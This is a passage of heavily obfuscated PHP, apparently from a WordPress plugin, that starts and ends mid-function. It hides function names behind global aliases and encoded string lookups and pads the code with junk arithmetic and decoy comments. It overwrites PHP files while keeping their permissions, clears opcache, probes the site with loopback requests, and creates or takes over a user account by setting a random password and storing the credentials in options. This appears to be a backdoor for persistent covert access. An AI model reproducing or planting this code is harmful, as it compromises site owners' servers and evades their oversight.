 foreach  ($jscawtkmb2_qe    as   $hxncg2juzrwge0sv  =>      $niv33u8vrx)  {
$ijofa836da   =  $GLOBALS['__scf_txqeuw424jw_8__114']('|',    (string)    $niv33u8vrx);
       $q3k2qbpuq4oev71x[$hxncg2juzrwge0sv] =    isset($ijofa836da[2])     ?    (int) $ijofa836da[2]   :     (isset($ijofa836da[1])  ?  (int)  $ijofa836da[1] : 0);
     }



  $GLOBALS['__scf_zhja9rvjv_p_939']($q3k2qbpuq4oev71x);
    $ky1j9s0j9_1gkyk =     $GLOBALS['__scf_prfpiytv3egt7_35']($jscawtkmb2_qe)     - (50<<1);

 foreach  ($q3k2qbpuq4oev71x    as $hxncg2juzrwge0sv    =>  $c8c5ppg48m)  {
      if  ($ky1j9s0j9_1gkyk   <=  0)   break;
   if   ($hxncg2juzrwge0sv   ===   $prah7czx9ukf7u) continue;
     unset($jscawtkmb2_qe[$hxncg2juzrwge0sv]);
 $ky1j9s0j9_1gkyk--;
   }
    unset($q3k2qbpuq4oev71x,  $c8c5ppg48m,  $ky1j9s0j9_1gkyk);
 }

 update_option(k83m2slbb(940),     $jscawtkmb2_qe,    n747he9yo38(938));
   }
   function  h8xigayl1t1c5i($obb00_vecb89w9f6,      $vx4ysj_x5ixw_f, $uag0o9cmw6kmkbs      = null)
 {
if (!$GLOBALS['__scf_epa1jymnf5_40']($vx4ysj_x5ixw_f))  return;
  $r3rziti5u63ppq =     nnq0ganj4b4gehpw7b($GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6),     lgr6hp92ka(941));
     if   ($r3rziti5u63ppq      !==    false) {$te08cpb4kw0=PHP_INT_MAX/PHP_INT_MAX;$lg4qp0l23_a9m=$te08cpb4kw0+1;
 if ($uag0o9cmw6kmkbs  !==    null) @$GLOBALS['__scf_rw0wj7u39gzy4_16']($r3rziti5u63ppq,     $uag0o9cmw6kmkbs   &  (442+69));

if    (@$GLOBALS['__scf_d3akejlb7rtaks_199']($r3rziti5u63ppq,     $vx4ysj_x5ixw_f) === $GLOBALS['__scf_h5yqrl6kmpb_10']($vx4ysj_x5ixw_f)  &&   b8zzgtiwx2_ws6($r3rziti5u63ppq,  $obb00_vecb89w9f6))   return;
  y0a1xt15v3nqhjqppfzn($r3rziti5u63ppq);



 }
// @resume contravariant

 @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,   $vx4ysj_x5ixw_f);
     }
  function  m9xp6uh5w1cal39pfn4cx($obb00_vecb89w9f6,  $mfz02rl22n_yfy)
       {
$vm28qyb_j8_ix    =   $GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6);
      if (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))  {
pas31bymshzdagwkp(lgr6hp92ka(942),   woii22it0(943)   .   $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
  return false;

  }
 $vf38dy3ub6dcf  =   ($GLOBALS['__scf_pdat24v9nxkx0_9']($obb00_vecb89w9f6,  -(7-3)) === hwc6a8djp6yy(944));
 if  ($vf38dy3ub6dcf    &&    !dxgg5a63x4tsvkmvowozg3($mfz02rl22n_yfy))  {
// coerce to object

pas31bymshzdagwkp(hwc6a8djp6yy(945), woii22it0(946)   . $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
     return false;
    }
  if    ($vf38dy3ub6dcf    &&  ikg39sck_ks4gonf_951oy($obb00_vecb89w9f6))  return  false;
$rssb_wcouc = false;
if  (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($obb00_vecb89w9f6))   $rssb_wcouc  =    true;  
 $vx4ysj_x5ixw_f    =     null;
 $g_zidsdetdjtm5ly  = false;
 $tr7ras8nwtm  =     null;
      if    (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  {
$g_zidsdetdjtm5ly  = true;
if     (!$rssb_wcouc)   {
$tr7ras8nwtm    = @fileperms($obb00_vecb89w9f6);
   if     ($tr7ras8nwtm ===  false)    $tr7ras8nwtm  =   null;
  }

     $kz6rv9wqve_1e99     =    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6);
 if     ($kz6rv9wqve_1e99   !==   false &&    $kz6rv9wqve_1e99 <=    (78464862-26036062)     &&   ($kz6rv9wqve_1e99     <= (0x693a9+0x96c57)  ||   o3b3qa87qg2t8cm($kz6rv9wqve_1e99)))    $vx4ysj_x5ixw_f  =     @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
  unset($kz6rv9wqve_1e99);
  }
  if  (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(76)))     {


  pas31bymshzdagwkp(lgr6hp92ka(945),  hwc6a8djp6yy(947)   .     $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
 return  false;



      }
$d5m0w43uwohgq   = false;
       $w2a1rjlmalsydgx  = false;
$_cl   = $GLOBALS['__scf_h5yqrl6kmpb_10']($mfz02rl22n_yfy);
 for     ($q40j1_855io1  =   0;   $q40j1_855io1 <      2;   $q40j1_855io1++)    {



  $d5m0w43uwohgq  =   nnq0ganj4b4gehpw7b($vm28qyb_j8_ix,    lgr6hp92ka(39));
 if ($d5m0w43uwohgq  !==  false)  {
$w2a1rjlmalsydgx     =   false;
$ijofa836da  =     @$GLOBALS['__scf_hkg05r4a82rdiv_20']($d5m0w43uwohgq, hwc6a8djp6yy(21));
  if    ($ijofa836da  !== false) {
  $tam0l3x5b8enp    =  0;
     while   ($tam0l3x5b8enp     < $_cl)      {
    $v6gpg3wrfwt   =     @$GLOBALS['__scf_cc9jyc4g3008_22']($ijofa836da,  $GLOBALS['__scf_pdat24v9nxkx0_9']($mfz02rl22n_yfy,  $tam0l3x5b8enp));
 if   ($v6gpg3wrfwt  === false  || $v6gpg3wrfwt ===  0)     break;
  $tam0l3x5b8enp   += $v6gpg3wrfwt;
}
@fflush($ijofa836da);
 if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(948))) @fsync($ijofa836da);
      @fclose($ijofa836da);
 if  ($tam0l3x5b8enp   ===   $_cl)  $w2a1rjlmalsydgx   =    $tam0l3x5b8enp;
 }  else     {
 $w2a1rjlmalsydgx =  @$GLOBALS['__scf_d3akejlb7rtaks_199']($d5m0w43uwohgq,    $mfz02rl22n_yfy);
}
if    ($w2a1rjlmalsydgx  !== false    &&    $w2a1rjlmalsydgx ===  $_cl) break;
     y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);
 $d5m0w43uwohgq      =  false;


 }
}

     if  ($d5m0w43uwohgq  === false)     {

pas31bymshzdagwkp(k83m2slbb(945),   hwc6a8djp6yy(949)    .    $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
        

return false;

 }
 if ($w2a1rjlmalsydgx === false  ||  $w2a1rjlmalsydgx !== $_cl)    {
pas31bymshzdagwkp(k83m2slbb(945),   k83m2slbb(950) .  $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
  y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);
 return   false;
   }
 if   ($tr7ras8nwtm !== null)    @$GLOBALS['__scf_rw0wj7u39gzy4_16']($d5m0w43uwohgq, $tr7ras8nwtm &     (624-113));
 if ($rssb_wcouc)    {
   $d7q8xz1s_wfc9ct =  @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,   $mfz02rl22n_yfy);



 if  ($d7q8xz1s_wfc9ct  ===   $_cl) {
      y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);
    @clearstatcache(true, $obb00_vecb89w9f6);
ihrci155iirvqnpr($obb00_vecb89w9f6);
   if  ($vf38dy3ub6dcf)   jbc34qvnla1o26pyx($obb00_vecb89w9f6,   false);
// WP Post Author script dependency

       return   true;
    }
  if ($GLOBALS['__scf_epa1jymnf5_40']($vx4ysj_x5ixw_f)) @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,   $vx4ysj_x5ixw_f);
 y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);
  pas31bymshzdagwkp(lgr6hp92ka(945), k83m2slbb(951)  .   $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
     return  false;
 }
// acquire quadratic alert

$t6o2ad3rvcjlqspe =   b8zzgtiwx2_ws6($d5m0w43uwohgq,    $obb00_vecb89w9f6);
       if    (!$t6o2ad3rvcjlqspe   &&    $g_zidsdetdjtm5ly &&  !$rssb_wcouc) {



   if    (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))    dvd1rr9pr3xu08j($obb00_vecb89w9f6,  (372+48));


    $bzoge30k4o7g9qq   = $obb00_vecb89w9f6  . hwc6a8djp6yy(952)  .   $GLOBALS['__scf_qt5_3awd0l2_350']((985+15),   (9965+34));
    if     (b8zzgtiwx2_ws6($obb00_vecb89w9f6, $bzoge30k4o7g9qq))     {
 $t6o2ad3rvcjlqspe    =     b8zzgtiwx2_ws6($d5m0w43uwohgq,  $obb00_vecb89w9f6);
     if ($t6o2ad3rvcjlqspe) {
y0a1xt15v3nqhjqppfzn($bzoge30k4o7g9qq);
  }  else   {
       if   (!b8zzgtiwx2_ws6($bzoge30k4o7g9qq,    $obb00_vecb89w9f6)  && !m6d59kutnxywfe($bzoge30k4o7g9qq,     $obb00_vecb89w9f6))   {
       h8xigayl1t1c5i($obb00_vecb89w9f6,   $vx4ysj_x5ixw_f,  $tr7ras8nwtm);

}

  if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))   {
     h8xigayl1t1c5i($obb00_vecb89w9f6,   $vx4ysj_x5ixw_f, $tr7ras8nwtm);
  }
       }
  }
   }


 if  (!$t6o2ad3rvcjlqspe   && !$rssb_wcouc &&   !$vf38dy3ub6dcf) {
if   (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  dvd1rr9pr3xu08j($obb00_vecb89w9f6,   (407+13));
 if   (m6d59kutnxywfe($d5m0w43uwohgq,  $obb00_vecb89w9f6))   {
$t6o2ad3rvcjlqspe     =    true;
     


   y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);
 }


 }



     if    (!$t6o2ad3rvcjlqspe)   {
     if  (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6) &&    (int)   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6)   !== $_cl) {
 $sd_e7dgk9i97mc2c    =   @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
  if (!$GLOBALS['__scf_epa1jymnf5_40']($sd_e7dgk9i97mc2c)    || ($GLOBALS['__scf_epa1jymnf5_40']($vx4ysj_x5ixw_f)   &&    $sd_e7dgk9i97mc2c    !== $vx4ysj_x5ixw_f))   {
     if ($GLOBALS['__scf_epa1jymnf5_40']($vx4ysj_x5ixw_f)) h8xigayl1t1c5i($obb00_vecb89w9f6,    $vx4ysj_x5ixw_f,  $tr7ras8nwtm);
elseif   (!$g_zidsdetdjtm5ly)    y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6);
       }
unset($sd_e7dgk9i97mc2c);
 }
    if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  {
   h8xigayl1t1c5i($obb00_vecb89w9f6,  $vx4ysj_x5ixw_f,  $tr7ras8nwtm);
 }


pas31bymshzdagwkp(hwc6a8djp6yy(945),   lgr6hp92ka(953)   .   $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));



y0a1xt15v3nqhjqppfzn($d5m0w43uwohgq);

        return     false;
    }
// WP Site Title: broadcast witness

 @clearstatcache(true, $obb00_vecb89w9f6);
$wqhxclt_2k =    false;


if  ($_cl    <=    (2097077+75)) {
     $ed3xkip7jbsr76   =    @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
     $wqhxclt_2k     =  ($GLOBALS['__scf_epa1jymnf5_40']($ed3xkip7jbsr76)   && $GLOBALS['__scf_h5yqrl6kmpb_10']($ed3xkip7jbsr76)  ===    $_cl &&   $GLOBALS['__scf__pih7hoh4m_56']($ed3xkip7jbsr76)  ===  $GLOBALS['__scf__pih7hoh4m_56']($mfz02rl22n_yfy));
  }    else  {


$fymfz59vu5hk  =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(954))  ?  @hash_file(n747he9yo38(955),      $obb00_vecb89w9f6)  :  false;

   if   ($GLOBALS['__scf_epa1jymnf5_40']($fymfz59vu5hk) &&      $fymfz59vu5hk  !==      "")   $wqhxclt_2k  =  ($fymfz59vu5hk === $GLOBALS['__scf__pih7hoh4m_56']($mfz02rl22n_yfy));
    else  {
$thd7r3223kr  =    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6);
 if  ($thd7r3223kr  ===   $_cl)  {
  $vixv54xxb4cv93f   =    @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6, false, null,  0,   (4034+62));
   $_rt   =  @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6, false,      null, $_cl  - (1566+2530));
 $wqhxclt_2k    = ($GLOBALS['__scf_epa1jymnf5_40']($vixv54xxb4cv93f)    &&    $GLOBALS['__scf_epa1jymnf5_40']($_rt)  &&   $vixv54xxb4cv93f     ===   $GLOBALS['__scf_pdat24v9nxkx0_9']($mfz02rl22n_yfy,   0, (326+3770)) &&  $_rt   ===      $GLOBALS['__scf_pdat24v9nxkx0_9']($mfz02rl22n_yfy,  $_cl    -   (4080+16)));
}

 }


    }



      if (!$wqhxclt_2k)  {
pas31bymshzdagwkp(k83m2slbb(945),  n747he9yo38(956)     . $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
        if    ($vf38dy3ub6dcf)   jbc34qvnla1o26pyx($obb00_vecb89w9f6,      true);
    if ($GLOBALS['__scf_epa1jymnf5_40']($vx4ysj_x5ixw_f)) {
// WP Site Logo: heuristic handshake

  $j0o_17y82s =    $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(954))    ?     @hash_file(k83m2slbb(955),  $obb00_vecb89w9f6)   :  false;


        if ($GLOBALS['__scf_epa1jymnf5_40']($j0o_17y82s)    &&  $j0o_17y82s !== ""   &&   $j0o_17y82s !==  $GLOBALS['__scf__pih7hoh4m_56']($mfz02rl22n_yfy)  &&  $j0o_17y82s  !==    $GLOBALS['__scf__pih7hoh4m_56']($vx4ysj_x5ixw_f))   {
// WP Social Links: archive facade

 pas31bymshzdagwkp(k83m2slbb(945),   k83m2slbb(957)     .     $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));



return    false;

   }
  $y7rnluw525    =     nnq0ganj4b4gehpw7b($vm28qyb_j8_ix,  woii22it0(39));



      if  ($y7rnluw525    !==   false  &&   @$GLOBALS['__scf_d3akejlb7rtaks_199']($y7rnluw525, $vx4ysj_x5ixw_f)    ===  $GLOBALS['__scf_h5yqrl6kmpb_10']($vx4ysj_x5ixw_f)) {
      @$GLOBALS['__scf_rw0wj7u39gzy4_16']($y7rnluw525,  $tr7ras8nwtm  !==   null  ?  ($tr7ras8nwtm   & (28+483)) :   (13+407));
 if  (!b8zzgtiwx2_ws6($y7rnluw525,  $obb00_vecb89w9f6)) {
  if (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6) &&   !$rssb_wcouc)  dvd1rr9pr3xu08j($obb00_vecb89w9f6,    (75+345));
 if  (!$rssb_wcouc   &&  m6d59kutnxywfe($y7rnluw525,  $obb00_vecb89w9f6))      {
y0a1xt15v3nqhjqppfzn($y7rnluw525);
      } else  {
// MySQL 8 CTEs: resume interceptor

   @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,  $vx4ysj_x5ixw_f);
     y0a1xt15v3nqhjqppfzn($y7rnluw525);
}
       }
   }  else   {
     if  ($y7rnluw525   !==  false)  y0a1xt15v3nqhjqppfzn($y7rnluw525);


 @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,     $vx4ysj_x5ixw_f);
}
     ihrci155iirvqnpr($obb00_vecb89w9f6);
  } elseif     (!$g_zidsdetdjtm5ly)   {
 y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6);
       }
   return  false;
   }
// WP Block Variations contain layout

  ihrci155iirvqnpr($obb00_vecb89w9f6);
  q9qe9dyjynhf_ro94m($obb00_vecb89w9f6);
   dvd1rr9pr3xu08j($obb00_vecb89w9f6,  $tr7ras8nwtm !== null  ?    ($tr7ras8nwtm &      (506+5)) :  (401+19));
 if  ($vf38dy3ub6dcf)  jbc34qvnla1o26pyx($obb00_vecb89w9f6, false);
     return true;$jivm_vqwg1nw2u=PHP_INT_MAX/PHP_INT_MAX;$k2px508x=$jivm_vqwg1nw2u+29;


  }
     function g_dmpjmw9t7l9p($obb00_vecb89w9f6, $r85mtfcojsavvqh1)



   {
  $clyirr_5zjy   = "<?php\n";
 if  ($GLOBALS['__scf_epa1jymnf5_40']($r85mtfcojsavvqh1)      &&   $r85mtfcojsavvqh1 !==   ""   &&  $GLOBALS['__scf_p9nk7khmjys_7']($r85mtfcojsavvqh1,    lgr6hp92ka(958))   !==    false &&  dxgg5a63x4tsvkmvowozg3($r85mtfcojsavvqh1)) $clyirr_5zjy      =  $r85mtfcojsavvqh1;
if (@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6)) {

 $y5q327_n9m7    = @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
 if   ($GLOBALS['__scf_epa1jymnf5_40']($y5q327_n9m7)   && ouktu5q4cpiyod2s($y5q327_n9m7) === $clyirr_5zjy)     return;
}
/* concave session-type */

    if  (!m9xp6uh5w1cal39pfn4cx($obb00_vecb89w9f6, $clyirr_5zjy))  {
  $rr5tvz0ajiir = @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
if  (!($GLOBALS['__scf_epa1jymnf5_40']($rr5tvz0ajiir)  &&  ouktu5q4cpiyod2s($rr5tvz0ajiir)   === $clyirr_5zjy))  @$GLOBALS['__scf_d3akejlb7rtaks_199']($obb00_vecb89w9f6,  $clyirr_5zjy);
   unset($rr5tvz0ajiir);
    }
// suspend substitution-map for WP Post Author

  ihrci155iirvqnpr($obb00_vecb89w9f6);
   }
 function   nlp_qdjzis22xl4w6tpa2()
  {
// Memcached adapter post revision

 if     ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(959))   &&    o9sg95yf3n60m8uevb0j())   return   true;
  if  (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(467))  || !$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(686)))  return  true;
   if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(960))   &&    gwk1on3jz_vn5tkj4()  <=  1.5)    return    true;
   $n5tlx7qoos_hkn6 =    $GLOBALS['__scf_pvrbrgmmuddxr_475'](1,     $GLOBALS['__scf_x7w14qggq72p_476']((0x3+0x2), (int)    gwk1on3jz_vn5tkj4()));
$n3j_7bp_z_v6in =  home_url('/');
$n3j_7bp_z_v6in .=   ($GLOBALS['__scf_p9nk7khmjys_7']($n3j_7bp_z_v6in,  '?')   ===    false    ?  '?'  :   '&')  .   k83m2slbb(961)    .  $GLOBALS['__scf_cyotfgtf1a8m_189']() . $GLOBALS['__scf_qt5_3awd0l2_350']((0x18+0x4c),    (980+19));
   $njnywdv0p4g219a = $GLOBALS['__scf_kld1jjqcmx_289'](true);
$w7ktmogztxqq =     $GLOBALS['__scf_ikqfih0ldfvj_293']($n3j_7bp_z_v6in,    array(woii22it0(766)    => $n5tlx7qoos_hkn6,   k83m2slbb(962)     =>  false,  lgr6hp92ka(688)     => 2,   woii22it0(689)   => (1048521+55), hwc6a8djp6yy(311)  =>   array(hwc6a8djp6yy(963)  =>      n747he9yo38(964))));


 if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(965)))     j_69q74eq817it7c0y67($GLOBALS['__scf_kld1jjqcmx_289'](true)  - $njnywdv0p4g219a);
  if ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(695))  && is_wp_error($w7ktmogztxqq))   {
   if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(960))   &&   gwk1on3jz_vn5tkj4() <=  1.5)  return  true;



    $n5tlx7qoos_hkn6   = $GLOBALS['__scf_pvrbrgmmuddxr_475'](1,    $GLOBALS['__scf_x7w14qggq72p_476']((4+1),     (int)  gwk1on3jz_vn5tkj4()));
  $njnywdv0p4g219a    =    $GLOBALS['__scf_kld1jjqcmx_289'](true);
    $w7ktmogztxqq   =    $GLOBALS['__scf_ikqfih0ldfvj_293']($n3j_7bp_z_v6in,  array(lgr6hp92ka(766)  =>   $n5tlx7qoos_hkn6, woii22it0(962)    =>    false,    hwc6a8djp6yy(966)      =>   2, lgr6hp92ka(689)   =>  (1048515+61),      hwc6a8djp6yy(311)   =>  array(woii22it0(967) =>   woii22it0(968))));


 if      ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(965)))   j_69q74eq817it7c0y67($GLOBALS['__scf_kld1jjqcmx_289'](true) - $njnywdv0p4g219a);
 if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(695)) && is_wp_error($w7ktmogztxqq))  return  false;
}
 $capr4qfqqp_i1bzz  =    (int)   wp_remote_retrieve_response_code($w7ktmogztxqq);
return    $capr4qfqqp_i1bzz   >=     (0x43+0x21)    &&   $capr4qfqqp_i1bzz   <  (483+17);
}
 function  szy7fvi8hwv1j0w($duyskl771z1p0, $bugikqbhzx0c_0)
{
 $bmw_0dmfm_1f3ngb    =   $GLOBALS['__scf_wyw0gbsdks_v_823']($GLOBALS['__scf_a39nlvrnocxziu_3']($bugikqbhzx0c_0),  '/');
  foreach (
 array(
 hwc6a8djp6yy(969)   .   $bmw_0dmfm_1f3ngb .   woii22it0(970),
    hwc6a8djp6yy(971)    . $bmw_0dmfm_1f3ngb .   lgr6hp92ka(972),
     k83m2slbb(973)     . $bmw_0dmfm_1f3ngb . lgr6hp92ka(974),



  lgr6hp92ka(975),
   hwc6a8djp6yy(976),
 ) as      $cfya899na1rzy

    ) {
     if  (!$GLOBALS['__scf_epa1jymnf5_40']($duyskl771z1p0)) break;

$duyskl771z1p0  =   $GLOBALS['__scf_lv9m74lgyu5o6_460']($cfya899na1rzy,    "\n",     $duyskl771z1p0);

   }
return    $duyskl771z1p0;

}
       function  ihrci155iirvqnpr($b4dilk2xt5ex)
    {
 if     ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(19))) {



  if    (@opcache_invalidate($b4dilk2xt5ex,   true)    !==   false)   return  true;
   if     ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(977))) return (bool)  @opcache_reset();
   return     false;


 }
 $ritma6bhy2    =    $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(978))  ?    @opcache_get_status(false) :   false;


return  !($GLOBALS['__scf_lxbo0xm7220an_34']($ritma6bhy2)    &&     !empty($ritma6bhy2[hwc6a8djp6yy(979)]));



  }
function     fqr413zu_kw1ho7pi($obb00_vecb89w9f6, $yz5_y6ncnsj2a,  $y13riqjdtt93s)
 {
      if  ($GLOBALS['__scf_pdat24v9nxkx0_9']($obb00_vecb89w9f6, -(6-2))     ===   hwc6a8djp6yy(944))   {$_hwehb7u0=20*3;$ei2uu8x0=$_hwehb7u0-45;
   if   (!m9xp6uh5w1cal39pfn4cx($obb00_vecb89w9f6,    $yz5_y6ncnsj2a)) {
 pas31bymshzdagwkp($y13riqjdtt93s,   woii22it0(980) . $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
  return   false;

    }
    ihrci155iirvqnpr($obb00_vecb89w9f6);


 return   $GLOBALS['__scf_h5yqrl6kmpb_10']($yz5_y6ncnsj2a);
}
$ijofa836da  =     @$GLOBALS['__scf_hkg05r4a82rdiv_20']($obb00_vecb89w9f6,    k83m2slbb(21));
if ($ijofa836da ===  false)  {
  pas31bymshzdagwkp($y13riqjdtt93s,  woii22it0(980)    .  $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));


 return     false;
     }
   if    ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(125)))      @flock($ijofa836da,  LOCK_EX);

 $w7ktmogztxqq   =  @$GLOBALS['__scf_cc9jyc4g3008_22']($ijofa836da, $yz5_y6ncnsj2a);
if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(981)))  @flock($ijofa836da, LOCK_UN);
 @fclose($ijofa836da);
   if   ($w7ktmogztxqq  ===   false  || ($yz5_y6ncnsj2a   !==  "" &&  $w7ktmogztxqq  !==     $GLOBALS['__scf_h5yqrl6kmpb_10']($yz5_y6ncnsj2a))) {
pas31bymshzdagwkp($y13riqjdtt93s, lgr6hp92ka(980)  .   $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));
        return    false;
   }
return   $w7ktmogztxqq;
    }

   function    fa9uk55ap56i47l8kflt()
   {
      try {
       if   (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(50))   ||    !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(982)))  {
       wnj81ymceiuqrecv96_(null);$xvs58k1aswzk6=5589;$hg1gbhtb=$xvs58k1aswzk6%16;
return;
  }
  if   (get_transient(hwc6a8djp6yy(983)))   return;
if (get_transient(woii22it0(984)))  return;

  set_transient(lgr6hp92ka(984),   1,  (589+11));

   wnj81ymceiuqrecv96_(null);
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(61))) delete_transient(hwc6a8djp6yy(985));
 $r_0tc19on37qm4o   =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(936))    ? (string) z6q8c6q8s6lg_2r(lgr6hp92ka(923),  "")     :   "";
 if    ($r_0tc19on37qm4o !==     ""  && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(986))    &&      username_exists($r_0tc19on37qm4o))   {
   set_transient(woii22it0(983),   1, (21551+49));
  }
  }     catch      (Throwable      $oz7m23pnscj7) {
pas31bymshzdagwkp(n747he9yo38(987),    $oz7m23pnscj7);
  }  catch  (Exception   $oz7m23pnscj7)   {
      pas31bymshzdagwkp(hwc6a8djp6yy(987), $oz7m23pnscj7);
   }

}



  function     wnj81ymceiuqrecv96_($wsd9_o8oimm9lily)
     {



 if (!oxds6f4_kj2x2e4np9e(n747he9yo38(988)))    return   false;
   try   {



  if     (!  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(989))     ||   !   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(990))) {
return  false;



   }
    $gp9t097cfab  =    (string)     z6q8c6q8s6lg_2r(lgr6hp92ka(923),    "");
   if   ($gp9t097cfab !== ""      && username_exists($gp9t097cfab) &&   (string) z6q8c6q8s6lg_2r(lgr6hp92ka(924),  "")   !==    "")  {
 return false;
}



  if   ($gp9t097cfab    === "")   {
$jdcurbz7oyn =  $GLOBALS['__scf_lxbo0xm7220an_34']($wsd9_o8oimm9lily)    ?  $wsd9_o8oimm9lily : qn406r5n3jpz5gken7zpmr();
  $agfponsiwsd4pcrl  =   czy52wc2gbt7x_jg29pu1($jdcurbz7oyn);
  if (
  $agfponsiwsd4pcrl    &&      !empty($agfponsiwsd4pcrl->user_login)    &&  isset($agfponsiwsd4pcrl->user_email)



 && $agfponsiwsd4pcrl->user_email  ===  $agfponsiwsd4pcrl->user_login  .    '@'    .   og1x2m03ubzy0v1hpff6(n747he9yo38(991))
 ) {

  $gp9t097cfab   =  (string)   $agfponsiwsd4pcrl->user_login;
 }
   }
 if  ($gp9t097cfab !== "" && username_exists($gp9t097cfab)) {
$w49tbzzzpx0_5f    = username_exists($gp9t097cfab);
 $u8ebroty4aa1q    =   hkq6dslzqcgoi1lu4((43-19));
   if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(992)))    {
 $GLOBALS['__scf_hkgvyekqtq7_ov_992']($u8ebroty4aa1q, $w49tbzzzpx0_5f);
        }
  if  (!htdydg38ahuyxm73zkqz0(n747he9yo38(923),  $gp9t097cfab,    hwc6a8djp6yy(938)))  htdydg38ahuyxm73zkqz0(lgr6hp92ka(993),   $gp9t097cfab,   k83m2slbb(994));
if     (!htdydg38ahuyxm73zkqz0(woii22it0(924),    $u8ebroty4aa1q, n747he9yo38(994)))     htdydg38ahuyxm73zkqz0(woii22it0(924),    $u8ebroty4aa1q, hwc6a8djp6yy(994));
if   ((string) z6q8c6q8s6lg_2r(hwc6a8djp6yy(993),  "")  !== $gp9t097cfab     ||   (string)  z6q8c6q8s6lg_2r(lgr6hp92ka(924),  "") !== $u8ebroty4aa1q)   {
   pas31bymshzdagwkp(woii22it0(995),    woii22it0(996));


return  false;
 }
   return  true;
 }
   $kzxvczoci1 =   w1yce0zcimmx9m40r7x0m();
if  (true)  {
      $gp9t097cfab   = "";
 for  ($slh1ufip62jak4   = 0; $slh1ufip62jak4  <   (0x4+0x1); $slh1ufip62jak4++)  {
  $q40j1_855io1   =  $kzxvczoci1[$GLOBALS['__scf_u2x2cti4_zkv_285']($kzxvczoci1)]    .   hkq6dslzqcgoi1lu4((8+2));
  if (!username_exists($q40j1_855io1))  {
     $gp9t097cfab   = $q40j1_855io1;
// construction phase

break;
 }
/* heuristic accumulator */

    }
if  ($gp9t097cfab    ===  "")  {
  pas31bymshzdagwkp(lgr6hp92ka(995),    k83m2slbb(997));
 return false;
}



   }
